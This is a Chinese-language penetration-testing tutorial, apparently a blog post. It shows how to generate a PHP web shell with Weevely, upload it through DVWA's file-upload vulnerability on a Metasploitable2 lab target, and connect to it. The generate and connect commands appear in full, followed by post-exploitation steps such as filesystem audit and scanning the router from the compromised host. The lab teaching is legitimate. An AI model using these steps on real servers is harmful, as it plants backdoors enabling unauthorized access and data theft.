Kali渗透测试:通过Web应用程序实现远程控制
我们所接触的PHP、JSP这样的语言主要是用来开发Web应用程序的,但其实他们的功能十分强大,也可以实现远程控制的功能。我们经常听说的“网页木马”指的就是用PHP、JSP等Web开发语言完成的。这种“网页木马”的特点就是无须考虑被渗透目标的操作系统的类型,只需要考虑Web应用程序的类型,例如攻击目标是一个PHP语言编写的网站, 那么就需要使用PHP语言编写的木马。
目前有很多工具都提供了自动生成木马的功能, 例如国内十分流行的“中国菜刀” “中国蚁剑” “冰蝎” 等。这里我们以Kali自带的内置工具Weevely为例, 它是一个专门用来生成PHP语言木马的工具,同时也提供了丰富的管理功能。
这里我们还需要借助metasplotibale2这个靶机中的DVWA, 它提供了一个文件上传漏洞, 我们将利用这个漏洞将Weevely生成的木马上传并运行, 来演示Weevely的功能。上传漏洞广泛存在于各种Web应用程序中, 而且后果极为严重。攻击者往往会利用这个漏洞想Web服务器中上传一个携带恶意代码的文件, 并设法在Web服务器上运行恶意代码。攻击者可能会将“钓鱼”页面或者挖矿“木马”注入到Web应用程序中, 或者直接破坏服务器中的信息,再或者盗取敏感信息。
实 验 环 境
VMware Workstation 16 PRO
操作机:Linux kali 5.10.0 IP (192.168.68.125)
靶机:Metasploitable2-Linux IP (192.168.68.205)
DVWA这个漏洞平台,这里不做赘述,感兴趣的可以自行搜索一下。
操 作 步 骤
1. 登录Metasploitable2-Linux靶机页面
在Kali系统的浏览器地址栏输入http://192.168.68.205,进入靶机的页面,如下图所示:
2. 登录DVWA页面
进入DVWA页面,输入用户名和密码,然后调整安全等级(DVWA Security)为low并提交,然后点击upload,如下图所示:
3. 生成恶意代码
现在需要在操作机(Kali)中生成一段恶意代码,但是这段代码不能是常见的exe或者Linux操作系统下的可执行文件,因为我们无法让它们在服务器中运行起来。但是目标服务器中使用了PHP解析器,所以我们可以使用由PHP语言编写的恶意代码,然后目标服务器会像执行其他文件一样来启动它。利用Weevely生成PHP恶意代码,命令如下:
┌──(kali㉿kali)-[~]
└─$ weevely generate 123456 /home/kali/Downloads/testweb.php
Generated '/home/kali/Downloads/testweb.php' with password '123456' of 754 byte size.
生成的木马位于/home/kali/Downloads目录下,如下图所示:
4. 在靶机DVWA上传PHP木马
在靶机DVWA的上传漏洞页面,点击Choose File,选择test.php木马文件,然后点击upload上传,提交成功。结果如下图所示:
5. Weevely连接“后门”
使用weevely连接这个“后门”的命令格式如下:
weevely 木马 URL 木马密码
如上图红框中所示,该木马的url应该为http://192.168.68.205/dvwa/hackable/uploads/testweb.php, 所以在操作机中应该执行如下命令:
┌──(kali㉿kali)-[~]
└─$ weevely http://192.168.68.205/dvwa/hackable/uploads/testweb.php 123456
[+] weevely 4.0.1
[+] Target: 192.168.68.205
[+] Session: /home/kali/.weevely/sessions/192.168.68.205/testweb_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
使用help可以查看当前可以使用的命令,如下图所示:
上图中显示部分命令,这里使用system_info 命令,执行结果如下图所示:
使用audit_filesystem查看目标系统的文件信息,如下图所示:
或者利用这台被渗透的服务器去进行扫描操作,例如利用它去查看192.168.68.1(路由器)设备的80端口是否开放,如下图所示: